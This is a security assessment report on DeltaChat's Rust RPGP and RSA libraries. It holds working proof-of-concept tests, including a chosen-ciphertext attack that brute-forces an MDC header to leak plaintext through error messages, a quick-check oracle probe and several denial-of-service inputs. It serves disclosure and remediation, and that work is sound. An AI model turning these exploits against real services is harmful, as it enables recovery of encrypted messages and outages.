Security Assessment of DeltaChat's RPGP and RustCrypto RSA Libraries for the Open Tech Fund

TABLE OF CONTENTS

EXECUTIVE SUMMARY

Scope and Methodology

IncludeSec performed a security assessment of DeltaChat's RPGP and RustCrypto RSA Libraries for the Open Tech Fund. The assessment team performed a 9 day effort spanning from June 3rd – July 5th, 2019.

Assessment Objectives

The objective of this assessment was to identify and confirm potential security vulnerabilities within targets in-scope of the SOW. The team assigned a qualitative risk ranking to each finding. IncludeSec also provided remediation steps which DeltaChat could implement to secure its applications and systems.

Findings Overview

IncludeSec identified 10 categories of findings. There were 0 deemed a “Critical-Risk,” 2 deemed a “High-Risk,” 1 deemed a “Medium-Risk,” and 5 deemed a “Low-Risk,” which pose some tangible security risk. Additionally, 2 “Informational” level findings were identified that do not immediately pose a security risk.

IncludeSec encourages DeltaChat to redefine the stated risk categorizations internally in a manner that incorporates internal knowledge regarding business model, customer risk, and mitigation environmental factors.

Next Steps

IncludeSec advises DeltaChat to remediate as many findings as possible in a prioritized manner and make systemic changes to the Software Development Life Cycle (SDLC) to prevent further vulnerabilities from being introduced into future release cycles. This report can be used by DeltaChat as a basis for any SDLC changes. IncludeSec welcomes the opportunity to assist DeltaChat in improving additional products via future assessments.

ASSESSMENT RESULTS

At the conclusion of the assessment, Include Security categorized findings into four levels of perceived security risk: critical, high, medium, or low. Any informational findings for which the assessment team perceived no direct security risk, were also reported in the spirit of full disclosure. The risk categorizations below are guidelines that IncludeSec believes reflect best practices in the security industry and may differ from internal perceived risk. It is common and encouraged that all clients recategorize findings based on their internal business risk tolerances. All findings are described in detail within the final report provided to DeltaChat.

Critical-Risk findings are those that pose an immediate and serious threat to the company's infrastructure and customers. This includes loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information. These threats should take priority during remediation efforts.

High-Risk findings are those that could pose serious threats including loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information.

Medium-Risk findings are those that could potentially be used with other techniques to compromise accounts, data, or performance.

Low-Risk findings pose limited exposure to compromise or loss of data, and are typically attributed to configuration issues, and outdated patches or policies.

Informational findings pose little to no security exposure to compromise or loss of data which cover defense-in-depth and best-practice changes which we recommend are made to the application.

The findings below are listed by a risk rated short name (e.g., C1, H2, M3, L4, I5) and finding title. Each finding includes: Description (including proof of concept screenshots and lines of code), Recommended Remediation, and References.

INTRODUCTION

Project Scoping

On June 3rd, 2019, the assessment team began analyzing the rust libraries RSA and RPGP for security vulnerabilities (see reference links below for exact versions.) The assessment time was divided such that 24 hours were dedicated to analyzing the RSA library and 48 hours were dedicated to analyzing the RPGP library. Dependencies of the investigated libraries were not reviewed for vulnerabilities. The most recent code committed to RSA's and RPGP's master branches was assessed, which can be found under the references section.

Given that the time spent on the assessment was not exhaustive, we hope this project serves as inspiration for the open source security and rust communities to execute their own security reviews and to report any identified vulnerabilities to the project maintainers.

Threat Modeling

As the rust cargos RSA and RPGP are cryptographic libraries, threat modeling included not only risks associated with the implementation of their corresponding specifications but also how the API may be consumed by other developers and applications. The following areas were of key focus during the assessment:

- Correctness – Assessing if the implementation follows its defined specification.
- Backdoors – Assessing if the implementations voluntary or involuntary contain backdoors. Examples include weak parameters, oracles which can be leveraged to obtain keys or plaintext and use of non-cryptographically secure pseudo random number generators.
- Supply Chain Attacks – Assessing if the implementation uses known vulnerable components.
- Ease of Secure Use – Assessing the publicly consumed API can be used incorrectly to weaken its security.
- Secrets management – Assessing how sensitive values are handled.

Testing Methodology

As RSA and OpenPGP have well-defined specifications, prior research regarding known vulnerabilities was investigated. Manual code review was primarily performed to identify vulnerabilities. The **cargo-fuzz** framework was used sparingly to identify run-time vulnerabilities. Appropriate proofs-of-concept were developed to verify discovered findings. Please also note that the level of depth of attacks was limited by the time-boxed nature of the assessment (nine workdays in total.)

For RSA references, Golang's implementation of RSA and RFC 8017 (PKCS #1: RSA Cryptography Specifications Version 2.2) was used. For OpenPGP references, RFC 4880 (OpenPGP Message

Format) and the source code of GnuPG was used. Open issues which were filed against rust libraries RSA and RPGPG were not investigated, such as the non-constant time **modpow()** function used in RSA's encryption implementation.

References

RPGP's Latest Code As Of June 3rd, 2019
RSA's Latest Code As Of June 3rd, 2019
Go's RSA Implementation
PKCS #1: RSA Cryptography Specifications Version 2.2
RFC 4880 – OpenPGP Message Format

CRITICAL-RISK FINDINGS

No critical-risk findings were identified during the course of the engagement.

HIGH-RISK FINDINGS

H1: [RPGP] Plaintext Recovery via Modification Detection Code Implementation

Description:

The RPGP library returns an error message containing plaintext when the **Modification Detection Code** fails validation. An attacker may exploit the finding to obtain full blocks of plaintext from encrypted messages.

OpenPGP specifies a Modification Detection Code packet, which is used to detect modification of ciphertext. The purpose of the packet is to act as a checksum, so users can encrypt messages while still obtaining the property of repudiation, as signing may reveal the messenger's identity. Note that Modification Detection Code is encrypted with a session key which also is used to encrypt a plaintext message. When the Modification Detection Code is not valid, due to ciphertext being modified, an error is returned which includes the decrypted Modification Detection Code.

As the cipher block mode CFB is used by OpenPGP to encrypt messages, it takes two cipher-text blocks to decrypt a plaintext block. By substituting the block containing the Modification Detection code and the previous block, with two ciphertext blocks corresponding to plaintext, the second block containing plaintext will be decrypted and will be interpreted as part of the Message Detection Code packet. As this will likely modify the ciphertext, the Modification Detection Code will be incorrect, and thus an error containing plaintext values will be leaked. Note, in order to perform the attack, the correct decryption key needs to be used when decrypting the OpenPGP message. Applications likely to be vulnerable would be automated services containing exposed endpoints to decrypt OpenPGP messages, which return RPGP error messages.

In the following code, the **ensure_eq!()** macro is defined by RPGP, which returns an error when the two supplied values are not equal to each other. Note on line 186 and 187 how the macro is used to compare decrypted bytes of the Modification Detection Code packet with two known constants. This can be used to leak the first two bytes of the packet. Additionally, notice the method **checksum::sha1()** uses the **ensure_eq!()** macro also. This results in additional plaintext values being leaked, as the Modification Detection Code may be invalid, and compared to arbitrary plaintext, due to replacing ciphertext blocks.

From **src/crypto/sym.rs**:

```
163     /// Decrypt the data using CFB mode, without padding. Overwrites the input.
164     /// Uses an IV of all zeroes, as specified in the openpgp cfb mode.
165     /// Does not do resynchronization.
166     pub fn decrypt_protected<'a>(self, key: &[u8], ciphertext: &'a mut [u8]) -> Result<&'a
[u8]> {
167         info!("{}", hex::encode(&ciphertext));
168         info!("protected decrypt");
169         let iv_vec = vec![0u8; self.block_size()];
170         let cv_len = ciphertext.len();
171         let (prefix, res) = self.decrypt_with_iv(key, &iv_vec, ciphertext, false)?;
172         info!("{}", hex::encode(&res));
173         // MDC is 1 byte packet tag, 1 byte length prefix and 20 bytes SHA1 hash.
174         let mdc_len = 22;
175         let (data, mdc) = res.split_at(res.len() - mdc_len);
...
186         ensure_eq!(mdc[0], 0xD3, "invalid MDC tag");
187         ensure_eq!(mdc[1], 0x14, "invalid MDC length");
188
189         checksum::sha1(&mdc[2..], &[prefix, data, &mdc[0..2]].concat())?;
190
191         Ok(data)
192     }
```

Note, that an expensive hash function occurs when an invalid **MDC** header is provided on line 189. This may result in a measurable time difference, which an attacker can leverage to use as an oracle to obtain plaintext. Additionally, lines 186 and 187 use **ensure_eq!()**, which also introduces a timing discrepancy, as the decryption process may early return upon error.

The following is an example error message returned by the **decrypt_protected()** method. Note that Message Detection Code was not correct, due to the ciphertext being modified. The repeating value 68 displayed below was obtained by shifting ciphertext block, whose plaintext contained the letter A repeated 16 times.

```
Err(Message("assertion failed: `(left == right)`\n  left: `[68, 68, 68, 68, 68, 68, 68, 68,
68, 68, 68, 68, 68, 68, 140, 86, 52, 145, 176, 12]`,\n right: `[61, 49, 77, 16, 181, 206, 238,
235, 16, 174, 166, 242, 247, 210, 141, 9, 249, 42, 25, 202]`: invalid SHA1 checksum"))
```

Proof of Concept

The vulnerability can be verified by performing the following steps.

1. Save the following to the file **rpgp/tests/mdc_chosen_ciphertext_test.rs**

```
extern crate chrono;
extern crate rand;
extern crate pgp;

#[macro_use] extern crate smallvec;
```

```
use rand::thread_rng;
use pgp::composed::{SecretKeyParamsBuilder,KeyType,SubkeyParamsBuilder,Message,Deserializable};
use pgp::crypto::{HashAlgorithm,SymmetricKeyAlgorithm};
use pgp::types::{CompressionAlgorithm};
use pgp::ser::Serialize;
use std::io::Cursor;

#[test]
pub fn mdc_chosen_ciphertext_test() {
    let mut key_params = SecretKeyParamsBuilder::default();
    key_params
        .key_type(KeyType::Rsa(2048))
        .can_create_certificates(true)
        .can_sign(true)
        .can_encrypt(false)
        .primary_user_id("Me <me@mail.com>".into())
        .preferred_symmetric_algorithms(smallvec![
            SymmetricKeyAlgorithm::AES128,
        ])
        .preferred_hash_algorithms(smallvec![
            HashAlgorithm::SHA2_256,
        ])
        .preferred_compression_algorithms(smallvec![
            CompressionAlgorithm::ZLIB,
        ]);

    let key_params_plain = key_params
        .clone()
        .passphrase(None)
        .subkey(
            SubkeyParamsBuilder::default()
                .key_type(KeyType::Rsa(2048))
                .can_encrypt(true)
                .build()
                .unwrap(),
        )
        .build()
        .unwrap();

    let key_plain = key_params_plain
        .generate()
        .expect("failed to generate secret key");

    let signed_key_plain = key_plain.sign(|| "".into()).expect("failed to sign key");

    //Create Message, P bytes are added to align MDC tag to first bytes of a ciphertext block.
    let mut rng = thread_rng();
    let lit_msg = Message::new_literal_bytes("",
"PPPPPPAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDD".as_bytes());

    //Ensure we have 1 sub key
    let encrypted_msg = lit_msg.encrypt_to_keys(&mut rng, SymmetricKeyAlgorithm::AES256,
&[&signed_key_plain.secret_subkeys[0]]).expect("Failed to encrypt message");

    let mut bytes = encrypted_msg.to_bytes().expect("Failed to turn encrypted message into btes.");

    //Target MDC tag
    //-22 and -21 are packet header bytes (tag and length)
    let mdc_offset = bytes.len()-22;
    let target_index = mdc_offset;

    //We are copying least significant bytes first
    //Buffer before modification
    //|Block X     | Block Y |   MDC Packet Header + MDC Bytes |
    //Buffer after modification
    //|Block X    | Block X |   Block Y |

    println!("Substituting ciphertext blocks to decrypt block corresponding to 'AAAAAAAAAAAAAAAA'");
    for x in 0..32 {
        bytes[target_index + 15 - x] = bytes[target_index-1-x];
    }

    //Brute force valid MDC packet header.
    let mut header_brute_forced = false;
    for mdc in 0..0x010000 {
        bytes[target_index] = (((mdc as u16) & 0xff00) >> 8) as u8;
        bytes[target_index+1] = ((mdc as u16) & 0x00ff) as u8;

        if mdc % 100 == 0 {
            println!("Brute forcing MDC packet header. Iteration {:?}/65536",mdc);
        }

        let modified_msg = Message::from_bytes(Cursor::new(&bytes)).expect("Message");

        let (mut decryptor,_) =
modified_msg.decrypt(||"".to_string(),||"".to_string(),&[&signed_key_plain]).expect("Failed to get
decryptor");
        let decrypted_msg = decryptor.next().expect("No item found");
        let error_msg = format!("{:?}",decrypted_msg);
        if ! (error_msg.contains("invalid MDC tag") || error_msg.contains("invalid MDC length"))  {
            println!("MDC header brute forced! Checksum error containing plaintext: {:?}",decrypted_msg);
            header_brute_forced = true;
            break;
        }
    }
    if !header_brute_forced {
       println!(Failed to brute force MDC packet header to leak plaintext in error message.);
    }
}
```

2. Run the following command:

```
cargo test mdc_chosen_cipher --release -- --nocapture
```

Note how the error message contains the repeated decimal value 48, which corresponds to the plaintext bytes **DDDDDDDDDDDD**.

Recommended Remediation:

The assessment team recommends removing timing discrepancies during the decryption process, such as by removing the use of early returns. Additionally, do not return error messages containing plaintext obtained from decrypted messages. Instead, return a generic error message in all scenarios when decryption fails, such as Failed to decrypt. Finally, do not use unique error messages which can leak what part of the decryption process failed if it can be used as an oracle to obtain plaintext.

References:

[CWE-209: Information Exposure Through an Error Message]()
[CWE-208: Information Exposure Through Timing Discrepancy]()

H2: [RPGP] Out-of-Date Component in Use

Description:

The Rust **RPGP** library makes use of the outdated dependency **slice-deque v0.1.16**, which has a publicly known memory corruption vulnerability. If an attacker discovers out-of-date software within the RPGP library, an attacker could use known vulnerabilities to focus exploit attempts.

The Rust library **slice-deque v 0.1.16** contains a memory corruption vulnerability within the method **SliceDeque::move_head_unchecked()**. A fix for the vulnerability has been published in version **0.2.0**. Due to scope of the assessment, the vulnerability was not audited for exploitability.

Proof of Concept

The following methods were used to detect the vulnerability.

1. In a terminal, change the current directory to the **rpgp** source code directory.
2. Build the **rpgp** library by running the command **cargo build**.
3. Install **cargo-audit** by running the command **cargo install cargo-audit**.
4. Execute the command **cargo audit** within the **rpgp** directory. Note how **slice-deque** is reported as vulnerable.

Recommended Remediation:

The assessment team recommends continually updating out-of-date components to their most recent releases if possible. An automated task which runs **cargo-audit** on a daily interval, and whenever dependencies are added or removed, is recommended. Ensure to review any notifications that **cargo-audit** reports.

References:

[OWASP Top 10-2017 A9-Using Components with Known Vulnerabilities]()
[cargo-audit]()
[Github Issue for SliceDeque::move_head_unchecked() Vulnerability]()

MEDIUM-RISK FINDINGS

M1: [RPGP] Quick Check Oracle Allows for Partial Plaintext Recovery

Description:

The RPGP implements OpenPGP's vulnerable quick check specification, which can allow for the first two bytes of every ciphertext block to be recovered.

OpenPGP implements a checksum known as quick check to ensure the proper decryption key is being used. However, this introduces an adaptive-chosen-ciphertext attack against its modified implementation of Cipher Feedback (CFB) mode of encryption. This allows an attacker to determine 16 bits of any block of plaintext with about **2^15** oracle queries for the initial setup work and **2^15** oracle queries for each block.

The following RPGP macro is used to decrypt packets. Note how the quick check operation is performed on lines 25-34. If validation fails, the decryption process is early terminated, an error is returned notifying that quick check has failed. This introduces the oracle which can be used to determine plaintext bytes.

From **src/crypto/sym.rs**:

```
15 macro_rules! decrypt {
16     ($mode:ident, $key:expr, $iv:expr, $prefix:expr, $data:expr, $bs:expr, $resync:expr) =>
{{
...
24         // quick check, before decrypting the rest
25         ensure_eq!(
26             $prefix[$bs - 2],
27             $prefix[$bs],
28             "cfb decrypt, quick check part 1"
29         );
30         ensure_eq!(
31             $prefix[$bs - 1],
32             $prefix[$bs + 1],
33             "cfb decrypt, quick check part 2"
34         );
```

Proof of Concept

The following proof of concept generates an encrypted message.

```
extern crate chrono;
extern crate rand;
extern crate pgp;

#[macro_use] extern crate smallvec;
```

```
use rand::thread_rng;

use
pgp::composed::{SecretKeyParamsBuilder,KeyType,SubkeyParamsBuilder,Message,Deserializable};
use pgp::crypto::{HashAlgorithm,SymmetricKeyAlgorithm};
use pgp::types::{CompressionAlgorithm};
use pgp::ser::Serialize;
use std::io::Cursor;

#[test]
pub fn includesec_quickcheck_oracle_test() {
    let mut key_params = SecretKeyParamsBuilder::default();
    key_params
        .key_type(KeyType::Rsa(2048))
        .can_create_certificates(true)
        .can_sign(true)
        .can_encrypt(false)
        .primary_user_id("Me <me@mail.com>".into())
        .preferred_symmetric_algorithms(smallvec![
            SymmetricKeyAlgorithm::AES256,
        ])
        .preferred_hash_algorithms(smallvec![
            HashAlgorithm::SHA2_256,
        ])
        .preferred_compression_algorithms(smallvec![
            CompressionAlgorithm::ZLIB,
        ]);

    let key_params_plain = key_params
        .clone()
        .passphrase(None)
        .subkey(
            SubkeyParamsBuilder::default()
                .key_type(KeyType::Rsa(2048))
                .can_encrypt(true)
                .build()
                .unwrap(),
        )
        .build()
        .unwrap();

    let key_plain = key_params_plain
        .generate()
        .expect("failed to generate secret key");

    let signed_key_plain = key_plain.sign(|| "".into()).expect("failed to sign key");

    //Create Message
    let mut rng = thread_rng();
    let lit_msg = Message::new_literal_bytes("", "Hello World".as_bytes());

    //Ensure we have 1 sub key
    let encrypted_msg = lit_msg.encrypt_to_keys(&mut rng, SymmetricKeyAlgorithm::AES256,
&[&signed_key_plain.secret_subkeys[0]]).expect("Failed to encrypt message");

    let mut bytes = encrypted_msg.to_bytes().expect("Failed to turn encrypted message into
btes.");
```

```
    let target_index = bytes.len()-49;
    bytes[target_index] = bytes[target_index] ^ bytes[target_index];

    let modified_msg = Message::from_bytes(Cursor::new(bytes)).expect("Message");
    let (mut decryptor,_) =
modified_msg.decrypt(||"".to_string(),||"".to_string(),&[&signed_key_plain]).expect("Failed to
get decryptor");

    let decrypted_msg = decryptor.next().expect("No item found");

    match decrypted_msg {
        //Test fails if message contains a quick check error message.
        //We looked for invalid SHA1 checksum error message, as modification detction code
        //should still throw an error.
        //Test should be improved by comparing execution times.
        Err(e)=>{
            let error_msg = e.to_string();
            assert_eq!(false,error_msg.contains("quick"),"Quick check oracle found.");
            assert_eq!(true,error_msg.contains("invalid SHA1 checksum"),"Existance of quick
check oracle could not be determined. Expeted Modification Detection Code error message.");
        },
        _ => assert!(false,"Expected error message for Modification Detection Code failing.")
    };
}
```

Recommended Remediation:

The assessment team recommends not verifying the quick check bytes during the decryption process by default. Then OpenPGP specification suggests various implementations only verify quick-check operations when public key encryption is not used. See the reference "An Attack on CFB Mode Encryption As Used By OpenPGP" for more details. The attack is acknowledged in the "RFC 4880 titled OpenPGP Message Format, under section 14. Security Considerations."

References:

An Attack on CFB Mode Encryption As Used By OpenPGP
RFC 4880, OpenPGP Message Format, Section 14, Security Considerations

LOW-RISK FINDINGS

L1: [RPGP] Infinite Loop While Processing Incomplete Packets

Description:

The RPGP library may not advance an internal buffer pointer while parsing incomplete packets, which causes an infinite loop to occur. An attacker can exploit the vulnerability to perform a Denial of Service (DoS) attack.

OpenPGP packet parsing is implemented by using an iterator, implemented by the type **PacketParser**. The method **PacketParser.next()** handles returning parsed packets, which is shown below. Note below on line 112, the internal buffer pointer is advanced when a packet is parsed, by calling **b.consume(length)**; On line 84 however, the value of **length** may be set to zero, when an incomplete OpenPGP message is parsed.

From **src/packet/many.rs**:

```
34 impl<R: Read> Iterator for PacketParser<R> {
35     type Item = Result<Packet>;
36
37     fn next(&mut self) -> Option<Self::Item> {
...
73             let res = match {
74                 match single::parser(b.buf()) {
75                     Ok(v) => Ok(v),
76                     Err(err) => Err(err.into()),
77                 }
78             }
79             .and_then(|(rest, (ver, tag, _packet_length, body))| match body {
80                 ParseResult::Indeterminated => {
81                     let mut body = rest.to_vec();
82                     inner.read_to_end(&mut body)?;
83                     let p = single::body_parser(ver, tag, &body);
84                     Ok((rest.len() + body.len(), p))
85                 }
...
94             })
...
110             if let Some((length, p)) = res {
111                 info!("got packet: {:#?} {}", p, length);
112                 b.consume(length);
113                 return Some(p);
114             }
```

The infinite loop is caused by the trait method **Deserializable.from_bytes_many()** calling **filter_map()** upon the iterator described above. As the iterator continually returns a value, and never produces the value **None**, the program gets stuck in the infinite loop.

The following code documents where the program hangs.

From **src/composed/shared.rs**:

```
    /// Parse a list of compositions in raw byte format.
    fn from_bytes_many<'a>(bytes: impl Read + 'a) -> Box<dyn Iterator<Item = Result<Self>> + 'a> {
        let packets = PacketParser::new(bytes).filter_map(|p| {
...
```

Proof of Concept

The vulnerability can be verified by performing the following steps.

1. Save the below code to the file **rpgp/tests/incomplete_packet_parsing.rs**

```
extern crate pgp;

use pgp::composed::{Message,Deserializable};
use std::io::Cursor;

#[test]
pub fn incomplete_packet_parsing() {
    let bytes:[u8;1] = [0x97];
    let _ = Message::from_bytes(Cursor::new(bytes));
}
```

2. Run the following command:

```
cargo test --release incomplete_packet
```

Note how the test never completes, due to the library being stuck in an infinite loop.

Recommended Remediation:

The assessment team recommends adding additional error handling code when an incomplete packet is parsed. For example, an error can be returned when an incomplete packet is processed.

References:

[CWE-835: Loop with Unreachable Exit Condition (Infinite Loop)]

L2: [RPGP] Cryptographic Keys and Sensitive Messages May Be Logged

Description:

The RPGP library may log sensitive values, such as encryption keys and plaintext from messages, for debugging messages. Applications which enable logging at the information level may accidentally persist these sensitive values to disk, allowing attackers to recover them.

The RPGP library makes use of the Rust “**log crate**” for logging purposes. At the “info” logging level, sensitive values including cryptographic keys and messages are logged. By default, the logging code does not perform any I/O, until a logger is configured. An application which does enable info logging may accidentally persist these values to disk unknowingly. These log files may then be stored unencrypted in a remote backup system, which further increases the risk of attackers gaining access to sensitive information.

The following files and line numbers were found to log sensitive values:

From **src/crypto/sym.rs**:

```
17          info!("key {}", hex::encode($key));
19          info!("prefix {}", hex::encode(&$prefix));
50          info!("key {}", hex::encode($key));
52          info!("prefix {}", hex::encode(&$prefix));
57          info!("encrypting: {}", hex::encode(&$data));
176          info!(
177              "decrypted {}b from {}b ({}|{})",
178              res.len(),
179              cv_len,
180              data.len(),
181              mdc.len()
182          );
389          info!("{}", hex::encode(&plaintext));
```

From **src/composed/signed_key/key_parser_macros.rs**:

```
34                 info!("  primary key: {:#?}", next);
```

From **src/crypto/rsa.rs**:

```
20     info!("m: {}", hex::encode(&m));
```

From **src/packet/signature/config.rs**:

```
97          info!("key:    ({:?}), {}", key.key_id(), hex::encode(&key_buf));
```

Proof of Concept

The vulnerability can be verified by performing the following steps.

1. Save the following to the file **tests/sensitive_data_logged.rs**:

```
extern crate chrono;
extern crate hex;
extern crate num_bigint;
extern crate num_traits;
extern crate pgp;
extern crate pretty_env_logger;
extern crate rand;
extern crate rsa;
extern crate serde_json;
extern crate log;

use std::io::Cursor;

use pgp::composed::{Deserializable, Message};

use pgp::crypto::{SymmetricKeyAlgorithm};
use rand::{thread_rng};
use log::LevelFilter;

use pgp::types::{StringToKey};

use pgp::ser::Serialize;

fn create_encrypted_message(password: &str,message: &str)->Message {

    let mut rng = thread_rng();
    let lit_msg = Message::new_literal_bytes("", message.as_bytes());

    let s2k = StringToKey::new_default(&mut rng);

    lit_msg.encrypt_with_password(&mut rng, s2k, SymmetricKeyAlgorithm::AES128, || {
        password.to_string() }).expect("Encrypted Message")
}

pub fn decrypt_message_from_bytes(bytes: &[u8]) {

    let msg = Message::from_bytes(Cursor::new(bytes)).expect("Failed to decode message");

    let mut decryptor = msg.decrypt_with_password(||"password".to_string()).expect("Failed to get 
decryptor");
    let decrypted_msg = decryptor.next().expect("No item found");
}

#[test]
pub fn sensitive_data_logged() {

    let message = "Hello World";
    let password = "password";

    pretty_env_logger::formatted_builder()
        .format(|_, record| {

            let record_string = format!("{}",record.args());
            println!("{}",record_string);
            Ok(())
        })
        .filter(None, LevelFilter::Debug)
        .init();

    let encrypted_message = create_encrypted_message(password,message);
    decrypt_message_from_bytes(&encrypted_message.to_bytes().expect("Failed to get bytes"));
}
```

2. Run the following command:

```
cargo test sensitive_data_logged --release -- --nocapture
```

Note, how sensitive values are logged, such as encryption keys and plaintext of messages to be encrypted.

Recommended Remediation:

The assessment team recommends not logging security-sensitive values, whenever possible. If sensitive values must be logged this fact should be documented well for the lib's users and lib's users should be required to make an explicit decision to log the sensitive values by default.

References:

CWE-532: Inclusion of Sensitive Information in Log Files

L3: [RSA] Denial of Service (DoS) via Large Public Key

Description:

The **RSA** library allows operating upon large keys, which can consume a large amount of computation time. An attacker who can force an application to encrypt with a million-byte RSA public key can force the application into a Denial of Service (DoS) condition.

The method **RSAPublicKey.encrypt()** is intended to encrypt a message by using RSA, as documented by the project's README. When following its execution path, no checks are performed to limit the public key size for encryption. Eventually, the actual RSA algorithm to encrypt a message is executed, which is shown below by the method **internal::encrypt()**. By supplying a key with a large modulus, a great amount of computation time can be consumed, due to modular exponentiation operation being performed on line 13.

From **src/internals.rs**:

```
10 /// Raw RSA encryption of m with the public key. No padding is performed.
11 #[inline]
```

```
pub fn encrypt<K: PublicKey>(key: &K, m: &BigUint) -> BigUint {
    m.modpow(key.e(), key.n())
}
```

Proof of Concept

The vulnerability can be verified by performing the following steps.

1. Save the following test case to the file **src/key.rs**:

```
#[test]
    pub fn test_encrypt_with_large_public_key () {
        const BUFFER_SIZE:usize = (1000000);
        let e: [u8;1] = [3];
        let n: [u8; BUFFER_SIZE] = [255; BUFFER_SIZE];

        let public_key =
RSAPublicKey::new(BigUint::from_bytes_be(&n),BigUint::from_bytes_be(&e),).expect("Failed to
create public key.");

        let mut rng = thread_rng();

        let _ = public_key.encrypt(&mut rng, PaddingScheme::PKCS1v15, &"Hello
World".as_bytes());

}
```

2. Run the following command:

```
cargo test --release encrypt_with_large]
```

Note, after 5 minutes, the test is still running, as expensive calculations are being performed to encrypt a message with a large one million-byte RSA key.

Recommended Remediation:

The assessment team recommends exposing a higher-level API which performs additional security checks. For instance, key sizes may be limited to 4096 bits by default but can be overridden if necessary.

References:

CWE-400: Uncontrolled Resource Consumption

L4: [RPGP] Decrypting Incomplete Ciphertext Results in a Panic

Description:

The RPGP library does not perform length validation of ciphertext before decrypting. This can result in an attempt of an out-of-bounds memory access violation, which results in a panic. An attacker can leverage the vulnerability to perform a Denial of Service (DoS) attack.

The method **SymmetricKeyAlgorithm.decrypt_with_iv()** handles decrypting messages. On line 218, the library assumes that the ciphertext contains at least a full block of ciphertext, plus two bytes. By supplying a ciphertext which has an invalid length, such as a byte array containing 0 bytes, the method **split_at_mut()** will panic. This is due to an internal assertion within the **split_at_mut()** method to ensure the operation is defined.

From **src/crypto/sym.rs**:

```
112 impl SymmetricKeyAlgorithm {
...
209     pub fn decrypt_with_iv<'a>(
210         self,
211         key: &[u8],
212         iv_vec: &[u8],
213         ciphertext: &'a mut [u8],
214         resync: bool,
215     ) -> Result<(&'a [u8], &'a [u8])> {
216         let bs = self.block_size();
217
218         let (encrypted_prefix, encrypted_data) = ciphertext.split_at_mut(bs + 2);
```

Proof of Concept

The vulnerability can be verified by performing the following steps.

1. Save the below code to the file **rpgp/tests/decrypt_without_enough_ciphertext.rs**.

```
extern crate pgp;

use pgp::crypto::{SymmetricKeyAlgorithm};

#[test]
pub fn decrypt_without_enough_ciphertext() {
    let key:[u8;0] = [];
    let mut cipher_text:[u8;0] = [];
    SymmetricKeyAlgorithm::AES128.decrypt(&key,&mut cipher_text);
}
```

2. Run the following command:

```
cargo test RUST_BACKTRACE=1 cargo test --release decrypt_without_enough_ciphertext
```

Note how the library panics, due to an attempt of an out-of-bounds memory access.

Recommended Remediation:

The assessment team recommends returning a generic error message if not enough ciphertext is available, such as decryption failed.

References:

CWE-400: Uncontrolled Resource Consumption

L5: [RPGP] Non-Encryption Subkeys May Be Used to Encrypt Data

Description:

The RPGP library allows for messages to be encrypted with sub-keys which do not have the encryption key flag set. This may result in users losing the ability to decrypt data, due to loss of a signing key accidentally used for encryption. Additionally, government laws may legally require users to disclose their signing key, as it was accidentally used for encryption.

The structure **PublicSubkey** contains the bitwise **keyflags** field, which specifies what key should be used. Keys may be used for signing, authenticating, encrypting, and more. The following code documents the **PublicSubkey** structure.

From **src/composed/key/public.rs**:

```
pub struct PublicSubkey {
    key: packet::PublicSubkey,
    keyflags: KeyFlags,
}
```

To encrypt data using a public sub-key, the function **PublicSubkey::encrypt()** is used, which is shown below. Note how no check is performed to ensure the key can be used for encrypting plaintext for storage or communications.

From **src/composed/key/public.rs**:

```
impl PublicKeyTrait for PublicSubkey {
...
    fn encrypt<R: Rng + CryptoRng>(&self, rng: &mut R, plain: &[u8]) -> Result<Vec<Mpi>> {
        self.key.encrypt(rng, plain)
    }
```

Proof of Concept

The vulnerability can be verified by performing the following steps.

1. Save the below code to the file **rpgp/tests/encrypt_with_non_encryption_subkey.rs**.

```
extern crate chrono;
extern crate rand;
extern crate pgp;

#[macro_use] extern crate smallvec;

use rand::thread_rng;

use pgp::composed::{SecretKeyParamsBuilder,KeyType,SubkeyParamsBuilder,Message};
use pgp::crypto::{HashAlgorithm,SymmetricKeyAlgorithm};
use pgp::types::{CompressionAlgorithm};

#[test]
pub fn encrypt_with_non_encryption_subkey() {
    let mut key_params = SecretKeyParamsBuilder::default();
    key_params
        .key_type(KeyType::Rsa(2048))
        .can_create_certificates(true)
        .can_sign(true)
        .can_encrypt(false)
        .primary_user_id("Me <me@mail.com>".into())
        .preferred_symmetric_algorithms(smallvec![
            SymmetricKeyAlgorithm::AES256,
        ])
        .preferred_hash_algorithms(smallvec![
            HashAlgorithm::SHA2_256,
        ])
        .preferred_compression_algorithms(smallvec![
            CompressionAlgorithm::ZLIB,
        ]);

    let key_params_plain = key_params
        .clone()
        .passphrase(None)
        .subkey(
            SubkeyParamsBuilder::default()
                .key_type(KeyType::Rsa(2048))
                .can_encrypt(false)
                .build()
                .unwrap(),
        )
        .build()
        .unwrap();

    let key_plain = key_params_plain
        .generate()
        .expect("failed to generate secret key");

    let signed_key_plain = key_plain.sign(|| "".into()).expect("failed to sign key");
    //Create Message
    let mut rng = thread_rng();
    let lit_msg = Message::new_literal_bytes("", "Hello World".as_bytes());

    //Encrypt message
    let encrypted_msg = lit_msg.encrypt_to_keys(&mut rng, SymmetricKeyAlgorithm::AES256,
&[&signed_key_plain.secret_subkeys[0]]);

    match encrypted_msg {
        Ok(_) => assert!(false, "Message successfully encrypted with non encryption key."),
        Err(_) => assert!(true),
    }
}
```

2. Run the following command:

```
cargo test --release encrypt_with_non_encryption_subkey
```

Note, how the test fails, as a message was encrypted with a sub-key which is not intended for encryption.

Recommended Remediation:

The assessment team recommends adding checks to restrict operations that a key can be used for, based on its **keyflags**.

References:

Regulation of Investigatory Powers Act 2000

INFORMATIONAL FINDINGS

I1: [RPGP] Decryption of Non-Protected Packets Cannot Be Detected or Disabled

Description:

The RPGP library exposes an interface to decrypt OpenPGP Messages without allowing developers to disable support for Symmetrically Encrypted Data Packets. This may result in applications which are vulnerable to decrypting messages which have been tampered with. Note the finding's risk is marked as informational as support for decrypting Symmetrically Encrypted Data Packets is currently not implemented entirely.

The OpenPGP specification documents two forms of packets used for containing encrypted information, the Symmetrically Encrypted Integrity Protected Data Packet and Symmetrically Encrypted Data Packet. The former packet contains a Modification Detection Code, which is used to detect when a message is tampered with. The later packet does not contain a modification detection code, which means modified ciphertext cannot be detected unless the message has been signed.

Decrypting of messages is implemented by an iterator over the type **MessageDecrypter**, which is shown below. Note on line 139 a check is performed to see if the packet is protected or not. Note how there is no configuration check or return type that allows non-protected packets to be detected or disabled by consumers of the API.

From **src/composed/message/decrypt.rs**:

```
121 impl<'a> Iterator for MessageDecrypter<'a> {
